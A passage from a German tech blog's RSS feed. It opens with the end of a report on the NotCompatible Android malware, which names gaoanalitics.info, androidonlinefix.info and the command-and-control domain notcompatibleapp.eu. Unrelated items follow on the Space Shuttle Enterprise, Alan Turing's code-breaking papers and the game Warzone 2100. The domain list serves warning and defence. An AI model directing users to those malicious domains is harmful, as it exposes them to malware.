href="http://december.com/html/4/element/html.html"><span style="color: #000000; font-weight: bold;">html</span></a>&gt;</span></li></ol></div></pre>
<p><!--END_DEVFMTCODE--></p>
<p>Die Seite zwingt den Browser also, sofort die Seite <em>androidonlinefix.info </em>aufzurufen. Auch hier wird der Download nur ausgelöst, wenn sich der <em>Android </em>String im User-Agent befindet.</p>
<p>Lookout berichtet explizit von zwei gefährlichen Seiten, die da wären:</p>
<div class="arrowlist">
<ul>
<li>gaoanalitics.info</li>
<li>androidonlinefix.info</li>
</ul>
</div>
<p>Die Domain des Command &amp; Control Centers beinhaltet:</p>
<div class="arrowlist">
<ul>
<li>notcompatibleapp.eu</li>
</ul>
</div>
<blockquote><p>Textquellen: The Lookout Blog, Lookout Mobile Security | &nbsp;<a title="Security Alert: Hacked Websites Serve Suspicious Android Apps (NotCompatible) @Lookout Mobile Security" href="http://blog.mylookout.com/blog/2012/05/02/security-alert-hacked-websites-serve-suspicious-android-apps-noncompatible/" target="_blank">http://blog.mylookout.com/blog/2012/05/02/security-alert-hacked-websites-serve-suspicious-android-apps-noncompatible/</a></p>
<p>Bildquellen:&nbsp;<a title="Georgiabiker´s Site on Reddit.com" href="http://www.reddit.com/user/georgiabiker" target="_blank">Georgiabiker</a>&nbsp;auf&nbsp;<a title="Georgiabiker´s Post über NotCompatible Malware @reddit.com" href="http://www.reddit.com/r/Android/comments/t3epc/whoa_i_think_a_perfectly_legitimate_site_is/" target="_blank">reddit.com</a></p></blockquote>
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		</item>
		<item>
		<title>Space Shuttle Enterprise landet in New York</title>
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		<pubDate>Sat, 28 Apr 2012 01:54:48 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Enterprise]]></category>
		<category><![CDATA[Space Shuttle]]></category>

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		<description><![CDATA[<p>Das Space Shuttle Enterprise (genauer Bezeichner: OV-101) hat seine letzte Reise zurückgelegt. Auf dem Rücken einer modifizierten Boing 747 landete es kürzlich auf dem New Yorker JFK Flughafen, um von dort aus in das Intrepid Sea-Air-Space Museum gebracht zu werden. Der Shuttle Aircraft Carrier (SCA) der NASA führte zur Begrüßung ein paar Platzrunden über New [...]</p><p>This Article was originaly Postet by <a href="http://www.cknews.de">CK News || Interessante Neuigkeiten aus der Welt der IT. Neueste Nachrichten aus den Bereichen Android, Java und IT-Security.</a></p>]]></description>
				<content:encoded><![CDATA[<p>Das Space Shuttle Enterprise (genauer Bezeichner: OV-101) hat seine letzte Reise zurückgelegt. Auf dem Rücken einer modifizierten Boing 747 landete es kürzlich auf dem New Yorker <abbr title="John F. Kennedy">JFK </abbr>Flughafen, um von dort aus in das <em><a title="Webseite des Intrepid Sea-Air-Space Museum" href="http://www.intrepidmuseum.org/" target="_blank">Intrepid Sea-Air-Space Museum</a></em> gebracht zu werden.</p>
<p>Der Shuttle Aircraft Carrier (SCA) der <abbr title="National Aeronautics and Space Administration">NASA</abbr> führte zur Begrüßung ein paar Platzrunden über New York´s Innenstadt durch und flog u. a. im Tiefflug an der Freiheitsstatue vorbei, bevor er landete.</p>
<p>Die Enterprise wurde als Prototyp konzipiert und ist das einzige Shuttle, welches niemals im Weltraum war. 1977 in Dienst gestellt, wurde es hauptsächlich zu Testzwecken herangezogen, z. B. um die Flugfähigkeiten innerhalb der Erdatmosphäre zu testen. Nachdem die Testphasen Anfang der 80er Jahre endeten wurde sie in verschiedenen europäischen Ländern, sowie USA und Kanada vorgeführt und schließlich an das <em>Smithsonian Institut</em> übergeben, wo sie vor ihrer Überführung im <em><a title="Webseite des Smithsonian National Air and Space Museum." href="http://www.nasm.si.edu/" target="_blank">National Air and Space Museum</a></em> ausgestellt war.</p>
<p>Das <em>Intrepid Sea-Air-Space Museum</em> ist ein Museum in New York City. Es befindet sich am Ufer des Hudson River. Vorlage des Museums ist der Flugzeugträger Intrepid (genauer Bezeichner: CV-11), welcher nach seiner Ausmusterung im Jahr 1974 und jahrelanger Umbauarbeit, 2008 als Museumsschiff eröffnet wurde. Das Hauptexponat stellt natürlich das Schiff selbst dar, daneben finden sich einzigartige Ausstellungsstücke, wie etwa die Gemini- und Mercury Landekapseln der NASA, viele Kampfflugzeuge der US Air Force und die USS Growler, ein 1988 an das Museum gestiftete U-Boot.</p>
<p>Übrigens, wer denkt, dass das gleichnamige Raumschiff nach dem Shuttle benannt wurde, liegt falsch. Die bekannte Enterprise aus der Fernsehserie Star Trek diente als Namensvorlage für das Shuttle.</p>
<p><object width="425" height="279" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://cnettv.cnet.com/av/video/cbsnews/atlantis2/cbsnews_player_embed.swf" /><param name="background" value="#333333" /><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="flashvars" value="si=254&amp;contentValue=50123840&amp;shareUrl=http://www.cbsnews.com/video/watch/?id=7406784n" /><embed width="425" height="279" type="application/x-shockwave-flash" src="http://cnettv.cnet.com/av/video/cbsnews/atlantis2/cbsnews_player_embed.swf" background="#333333" allowfullscreen="true" allowscriptaccess="always" flashvars="si=254&amp;contentValue=50123840&amp;shareUrl=http://www.cbsnews.com/video/watch/?id=7406784n" /></object></p>
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		</item>
		<item>
		<title>Turing Dokumente über Code Breaking Theorie veröffentlicht</title>
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		<pubDate>Sun, 22 Apr 2012 19:58:31 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Alan Turing]]></category>
		<category><![CDATA[Featured]]></category>

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		<description><![CDATA[<p>Das GCHQ veröffentlichte unlängst zwei 70 Jahre alte Dokumente über die Theorie des Code Breaking, erstellt von Alan Turing. Es wird vermutet, dass Turing diese Dokumente während seiner Arbeit in Bletchley Park, wo er seinerzeit an der&#160;Entschlüsselung&#160;deutscher Enigma Codes arbeitete, erstellte. Ein Mathematiker des GCHQ erklärte, die lange Geheimhaltung dieser Dokumente zeige, welche Brisanz Turing´s [...]</p><p>This Article was originaly Postet by <a href="http://www.cknews.de">CK News || Interessante Neuigkeiten aus der Welt der IT. Neueste Nachrichten aus den Bereichen Android, Java und IT-Security.</a></p>]]></description>
				<content:encoded><![CDATA[<p>Das <abbr title="Goverment´s Communication Headquarters. | Einer von drei britischen Geheimdiensten">GCHQ</abbr> veröffentlichte unlängst zwei 70 Jahre alte Dokumente über die Theorie des Code Breaking, erstellt von Alan Turing. Es wird vermutet, dass Turing diese Dokumente während seiner Arbeit in Bletchley Park, wo er seinerzeit an der&nbsp;Entschlüsselung&nbsp;deutscher Enigma Codes arbeitete, erstellte.</p>
<p>Ein Mathematiker des GCHQ erklärte, die lange Geheimhaltung dieser Dokumente zeige, welche Brisanz Turing´s Werke für die&nbsp;Kryptologie&nbsp;besitze. Die Dokumente wurden, nachdem die 70 jährige gesetzliche Sperrfrist für Geheimdokumente ablief, im National Archiv in Kew, West London, der Öffentlichkeit zur Verfügung gestellt. Das GCHQ konnte das Alter der Dokumente klassifizieren, da Alan Turing in einem der Dokumente eine Referenz zu Hitler´s Geburtstag setzte.</p>
<p>&#8220;<em>The Applications of Probability to Crypt</em>&#8221; und das &#8220;<em>Paper on the Statisitics of Repetitions</em>&#8220;, wie die Papiere von Alan Turin genannt wurden, beschreiben Grundlegende Ansätze zum entschlüsseln von Codes. Die Dokumente beziehen sich wohl auf die Arbeit Turing´s in Bletchley Park. Einem Mathematiker des GCHQ zufolge, welcher sich lediglich Richard nennt, enthalten die Dokumente&nbsp;detaillierte&nbsp;Informationen darüber, wie Mathematische Analysen schnellst möglich durchgeführt werden können. ["<em>mathematical analysis to try and determine which are the more likely settings so that they can be tried as quickly as possible</em>"]. Das GCHQ hat die Dokumente hinreichend überprüft und sei nun froh, diese der&nbsp;Öffentlichkeit&nbsp;zur Verfügung zu stellen, so Richard weiter.</p>
<div class="divider">&nbsp;</div>
<p><!-- the tabs -->
<div class="tabs-shortcode">
<ul class="tabnav">
<li><a href="#1">Über Alan Turing</a></li>
<li><a href="#2">Bedeutende Werke</a></li>
<li><a href="#3">Wissenwertes</a></li>
</ul>
<div class="tabdiv-wrapper">
<div id="1" class="tabdiv">
<h3>Über Alan Turing</h3>
<p>Alan Turing (*23. Juni 1912 in London; †7. Juni 1954 in Wilmslow, Cheshire) war ein britischer Logiker, Mathematiker und Kryptoanalytiker. Er wird als einer der&nbsp;bedeutendsten&nbsp;Theoretiker der frühen Computerentwicklung angesehen und schuf einen großen Teil der theoretischen Grundlagen für die&nbsp;Moderne&nbsp;Informations- und Computertechnologie.</p>
<p>Turing studierte von 1931 bis 1934 Mathematik am King´s College in Cambridge unter Godfrey Harold Hardy.</p>
<p>Alan Turing starb am 7. Juni 1954 durch eine selbst herbeigeführte Vergiftung mit einem, in Cyanid getränkten, Apfel. Turings Selbstmord ist das Ergebnis seiner Homosexualität, welcher zu dieser Zeit in der Gesellschaft &nbsp;nicht respektiert, sogar als krankhaft angesehen wurde und unter Strafe stand.</p>
</div>
<div id="2" class="tabdiv">
<h3>Bedeutende Werke</h3>
<p>Alan Turing veröffentlichte Richtungsweisende Theorien aus den bereichen der Computerwissenschaft sowie der Kryptologie.</p>
<p>Zu seinen besonderen Werken zählt wohl der Turing-Test, ein Test, welcher feststellen soll, ob ein Computer, ein dem Menschen gleichwertiges Denkvermögen besitzt.</p>
<p>Beim Turing-Test stellt eine Person (über Tastatur und Bildschirm) zwei Individuen eine Frage, welche beantwortet werden soll. Ein Individuum ist ein Mensch, das andere eine Maschine. Beide müssen versuchen den fragenden von derer Menschlichkeit zu überzeugen. Der Test gilt als bestanden, wenn der Fragesteller nicht unterscheiden kann, welches von beiden die Maschine ist.</p>
<p>Weiterhin ist natürlich seine Arbeit in Bletchley Park zu erwähnen. Turing arbeitete dort an der Entschlüsselung deutscher Funksprüche. Er&nbsp;entwickelte&nbsp;einige Mathematische Modelle, um sowohl die Enigma, als auch die Fish Verschlüsselung zu dechiffrieren und half maßgeblich an der Entwicklung einer elektromechanischen Maschine zur automatisierten Entschlüsselung von Codes bei, der&nbsp;sogenannten&nbsp;Turing-Bombe. &nbsp;Die Arbeit Turings kann wohl als kriegsentscheidend angesehen werden.</p>
<table border="0">
<tbody>
<tr>
<td>
<div id="attachment_724" class="wp-caption alignnone" style="width: 160px"><a href="http://www.cknews.de/wp-content/uploads/RebuiltBombeFrontView.jpg"><img class="size-thumbnail wp-image-724" title="Turing Bombe" src="http://www.cknews.de/wp-content/uploads/RebuiltBombeFrontView-150x150.jpg" alt="" width="150" height="150" /></a>
<p class="wp-caption-text">Die Turing Bombe. Diese, mit einer Ansammlung von 3&#215;12 Enigma Walzensätzen.</p>
</div>
</td>
<td>&nbsp;</td>
</tr>
</tbody>
</table>
</div>
<div id="3" class="tabdiv">
<h3>Wissenwertes</h3>
<ul style="list-style-type: square;">
<li>Das Apple Logo, der angebissene Apfel, soll angeblich eine Hommage an Alan Turing´s tragischen Tod darstellen. (Diese Erkenntnis ist allerdings nicht sicher)</li>
<li>Alan Turing wurde postume mit einer Statue geehrt, diese steht in Manchester im Stackville Park. (Zwischen der Manchester University und dem Homosexuellenviertel der Canal Street)</li>
<li>Eine weitere Skulptur Turing´s steht im Bletchley Park.</li>
<li>Der nach ihm benannte Turing-Award wird jährlich von der Association for Computing Machinary verliehen. Für Personen, welche große Arbeit im Bereich der Informatik leisteten.</li>
</ul>
<div>
<table border="0">
<tbody>
<tr>
<td>
<div id="attachment_718" class="wp-caption alignnone" style="width: 160px"><a href="http://www.cknews.de/wp-content/uploads/Turing_Plaque.jpg"><img class="size-thumbnail wp-image-718" title="Turing Plakete" src="http://www.cknews.de/wp-content/uploads/Turing_Plaque-150x150.jpg" alt="" width="150" height="150" /></a>
<p class="wp-caption-text">Gedenktafel an Turing´s Haus</p>
</div>
</td>
<td>
<div id="attachment_716" class="wp-caption alignnone" style="width: 160px"><a href="http://www.cknews.de/wp-content/uploads/Turing_statue_Surrey.jpg"><img class="size-thumbnail wp-image-716" title="Turing Statue in Surrey" src="http://www.cknews.de/wp-content/uploads/Turing_statue_Surrey-150x150.jpg" alt="" width="150" height="150" /></a>
<p class="wp-caption-text">Statue von Turing an der University of Surrey</p>
</div>
</td>
<td>
<div id="attachment_727" class="wp-caption alignnone" style="width: 160px"><a href="http://www.cknews.de/wp-content/uploads/Alan_Turing_cropped.jpg"><img class="size-thumbnail wp-image-727" title="Alan Turing mit Enigma" src="http://www.cknews.de/wp-content/uploads/Alan_Turing_cropped-150x150.jpg" alt="" width="150" height="150" /></a>
<p class="wp-caption-text">Schiefertstatue von Alan Turing mit einer Enigma in Bletchley Park</p>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<blockquote><p>Quelle:&nbsp;<a title="Alan Turing papers on code breaking released by GCHQ @bbc.co.uk" href="http://www.bbc.co.uk/news/technology-17771962" target="_blank">http://www.bbc.co.uk/news/technology-17771962</a></p></blockquote>
<p>This Article was originaly Postet by <a href="http://www.cknews.de">CK News || Interessante Neuigkeiten aus der Welt der IT. Neueste Nachrichten aus den Bereichen Android, Java und IT-Security.</a></p>]]></content:encoded>
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		</item>
		<item>
		<title>Warzone 2100 Open Source RTS der feinen Art</title>
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		<pubDate>Thu, 19 Apr 2012 16:20:56 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Games]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Warzone 2100]]></category>

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		<description><![CDATA[<p>&#160; Warzone 2100 wurde seinerseits, Mitte 1999, von dem Spiele Publisher EIDOS Interactive veröffentlicht. Es war das erste vollwertige 3D RTS Spiel auf dem Markt und der Spielumfang war milde ausgedrückt gigantisch. Über 400 erforschbare Technologien, komplett designbare Einheiten, dutzende Gebäudetypen sowie eine riesige Kampagne auf einer einzigen Karte, um nur einmal die Kernfeatures zu [...]</p><p>This Article was originaly Postet by <a href="http://www.cknews.de">CK News || Interessante Neuigkeiten aus der Welt der IT. Neueste Nachrichten aus den Bereichen Android, Java und IT-Security.</a></p>]]></description>
				<content:encoded><![CDATA[<p>&nbsp;</p>
<p>Warzone 2100 wurde seinerseits, Mitte 1999, von dem Spiele Publisher EIDOS Interactive veröffentlicht. Es war das erste vollwertige 3D <abbr title="Real Time Strategy" lang="de_DE">RTS</abbr> Spiel auf dem Markt und der Spielumfang war milde ausgedrückt gigantisch. Über 400 erforschbare Technologien, komplett designbare Einheiten, dutzende Gebäudetypen sowie eine riesige Kampagne auf einer einzigen Karte, um nur einmal die Kernfeatures zu nennen. Pech für EIDOS, dass in genau diesem Jahr&nbsp;Koryphäen wie <abbr title="Command and Conquer">C&amp;C</abbr> Tiberiun Sun, Age of Empires und nicht zuletzt Starcraft auf den Markt kamen, was leider nicht mehr viel Platz für dieses sehr gute(<em><a title="Warzone 2100 bekommt 86 Punkte im GameStar Spiele Test vom März 1999." href="http://www.gamestar.de/spiele/warzone-2100/36322.html" target="_blank">86/100 Punkten in Gamestar 03/99</a></em>) Spiel ließ. Doch Anstatt das Spiel einzustampfen und für immer in der Versenkung verschwinden zu lassen, entschloss sich EIDOS zu einem feinen Zug, Warzone 2100 wurde mit der <abbr title="General Public License">GPL</abbr>-Lizenz gesegnet und stand fortan der Spielergemeinde als Open Source Version zur Verfügung. Seitdem erfreut sich das Spiel an einem regen Fankreis, was im laufe der Jahre viele Mods zum Vorschein brachte. Ich selbst habe Warzone 2100 schon seit einiger Zeit auf dem PC und es ist mir immer noch einer meiner liebsten Pausenfüller, Grund genug euch das Spiel mit einem kleinen Review vorzustellen.</p>
<h2>Das Spiel</h2>
<p>Warzone 2100 spielt sich nicht sehr viel anders als seine Genre Kollegen, hat aber im Vergleich zu den meisten anderen eine ungleich höhere Komplexität.&nbsp;Wie in jedem anständigen RTS steuert Ihr eure Einheiten, baut eure Basis aus, erforscht Technologien und plant eine möglichst gute Strategie um eurem Gegner die Hölle heiß zu machen.&nbsp;</p>
<p>Beginnen wir mit den Technologien, wie bereits gesagte wurde, über 400 (!) Verschiedene zur Auswahl. Ich spare mir jetzt mal eine größere Copy&amp;Paste Aktion, lasst euch einfach von dem Bild (Abb. 1) erschlagen.&nbsp;</p>
<div id="attachment_659" class="wp-caption alignright" style="width: 310px"><a href="http://www.cknews.de/wp-content/uploads/researchtree_Warzone2100.png"><img class="size-medium wp-image-659  " title="Technologiebaum Warzone 2100" src="http://www.cknews.de/wp-content/uploads/researchtree_Warzone2100-300x102.png" alt="Der Technologiebaum von Warzone 2100 mit über 400 Technologien." width="300" height="102" /></a>
<p class="wp-caption-text">Abb. 1 | Der Technologiebaum von Warzone 2100 (Achtung: sehr großes Bild)</p>
</div>
<p>Jede Technologie schaltet neue Gebäude frei, gibt euch neue Ausrüstungsteile für eure Fahrzeuge oder optimiert eure bestehenden Einheiten und Strukturen. Eine genaue&nbsp;Kenntnis&nbsp;der einzelnen Posten ist&nbsp;Spielentscheidend, da man selten dazu kommt, den gesamten Baum während eines Spiels komplett auszubauen. Kleiner Tip am Rande, der Computergegener weiß immer was er wann Skillen muss um euch am meisten einzuheizen.</p>
<p>Wenn man sich durch diese Flut an Möglichkeiten durchgearbeitet hat, was durchaus etwas dauern kann, die Lernkurve ist extrem steil, kann man sich den Gebäuden annehmen. Zu den Grundlegenden Strukturen wie Hauptquartier, Fahrzeugfabrik oder Hangar, kommen noch dutzende unterschiedliche Geschütztürme und Festungen, sowie diverse Superwaffen. Insgesamt stehen euch in Warzone 2100 an die 100 unterschiedliche Einrichtungen zur Verfügung, wobei der Fokus ganz klar auf Artilerie Einheiten liegt.</p>
<p>Hat man sich auch durch die einzelnen Gebäude gearbeitet, kommen die Einheiten dran, wie ich meine das beste an Warzone 2100. Während in anderen Spielen die Einheiten bereits vorgefertigt sind und meist nur noch erforscht werden müssen, habt ihr hier die Möglichkeit, jedes Fahrzeug von Grund auf euren Wünschen anzupassen. Hierbei wird zuerst das Chassis ausgewählt, dann ein Motor eingebaut (Ketten oder Räder) und zum Schluss Waffen oder Equipment aufgesetzt(Abb. 2).</p>
<div id="attachment_662" class="wp-caption alignright" style="width: 310px"><a href="http://www.cknews.de/wp-content/uploads/Screenshot-1.png"><img class="size-medium wp-image-662" title="Warzone 2100 Einheitenerstellung" src="http://www.cknews.de/wp-content/uploads/Screenshot-1-300x168.png" alt="In Warzone 2100 kann man aus dutzenden Teilen seine eigene Einheit kreieren. " width="300" height="168" /></a>
<p class="wp-caption-text">Abb. 2 | Einheitenerstellung in Warzone 2100</p>
</div>
<p>Natürlich kann man nicht nur Panzer und Jeeps bauen. Die Palette reicht von Ketten getriebenen Einheiten über Hovercrafts und Schlachtschiffe bis hin zu Flugeinheiten, natürlich auch diese vollkommen individuell.&nbsp;</p>
<p>In Warzone spielt ihr vorzugsweise gegen eure Freunde, aber auch eine KI ist vorhanden. Diese lässt sich über einen Slider in etwa 20 unterschiedliche Schwierigkeitsgrade einteilen, stufenlos regulierbar sozusagen. Der&nbsp;Intellekt&nbsp;reicht dabei von einem Stück Weißbrot bis hin zu &#8220;<em>in 5 Minuten is Feierabend</em>&#8220;. Natürlich lassen sich wie in jedem guten RTS Teams bilden und dass auf Karten mit bis zu 8 Spielern.</p>
<p>Als letzten Punkt möchte ich das User Interface ansprechen. Es ist gewöhnungsbedürftig, und davon nicht zuwenig. Wo andere Spiele mit unglaublich schicken und Informationsüberfluteten Interfaces auftrumpfen, ist das von Warzone 2100 geradezu spartanisch. Links unten, 7 Knöpfe, fertig. Aber die Steuerung ist von so einer erstaunlichen Einfachheit, dass man sie nach nur kurzer Zeit nicht mehr missen möchte. Einheiten lassen sich in Sekundenschnelle erstellen und Nachschub wird selbst im größten Schlachtgetümmel zum Selbstläufer.</p>
<h2>Fazit zu Warzone 2100</h2>
<p>&#8220;<em>Wer braucht schon Grafik, wenn das Gameplay <strong>nicht</strong> stimmt?</em>&#8221; Diesen Satz hört man in letzter Zeit öfter, da, gefühlt, immer mehr unfertige Spiele den Markt überschwemmen, die zwar jede Grafikkarte zum Kochen bringen, aber im Kochtopf kein Wasser ist. Dabei haben EIDOS und die Pumpkin Studios bereits vor 13 Jahren bewiesen, dass ein gutes Spiel Tiefgang und Reiz besitzen muss. Warzone 2100 ist eines dieser Spiele, die man immer wieder mal aus dem Regal nehmen kann, es macht einfach immer wieder Spaß. Zugegeben, die Grafik führt im ersten Augenblick zum Schmerzen selbiger, aber wie gesagt &#8220;<em>Wer braucht schon Grafik, wenn das Gameplay stimmt?</em>&#8220;.</p>
<p>Durch die OpenSource Gemeinde haben sich zudem viele interessante Mods und Karten entwickelt, welche das Spiel nahezu beliebig erweitern. Sehr empfehlen kann ich übrigens die Erweiterung &#8220;Warzone 2100 TC Mod&#8221;, welche ein Total Conversion, also eine komplette Überarbeitung, des ursprünglichen Spiels ist. Der Mod katapultiert euch 20 Jahre in die Zukunft, in eine Welt, von einem Nuklearkrieg zerstört.</p>
<p>Alle Mods und Karten finden sich auf der entsprechenden <a title="Mods und Karten zu Warzone 2100." href="http://addons.wz2100.net/" target="_blank">Addon Seite</a>.</p>
<p>Und zu guter letzt möchte ich euch natürlich nicht vorenthalten, wo ihr diesen Klassiker downloaden könnt. Geht einfach auf <a title="Warzone 2100 Projektseite. Zum Download des Spiels auf die Rubrik Downloads gehen." href="http://www.wz2100.net/" target="_blank">die Seite des Warzone 2100 Projektes</a> und lasst es krachen.</p>
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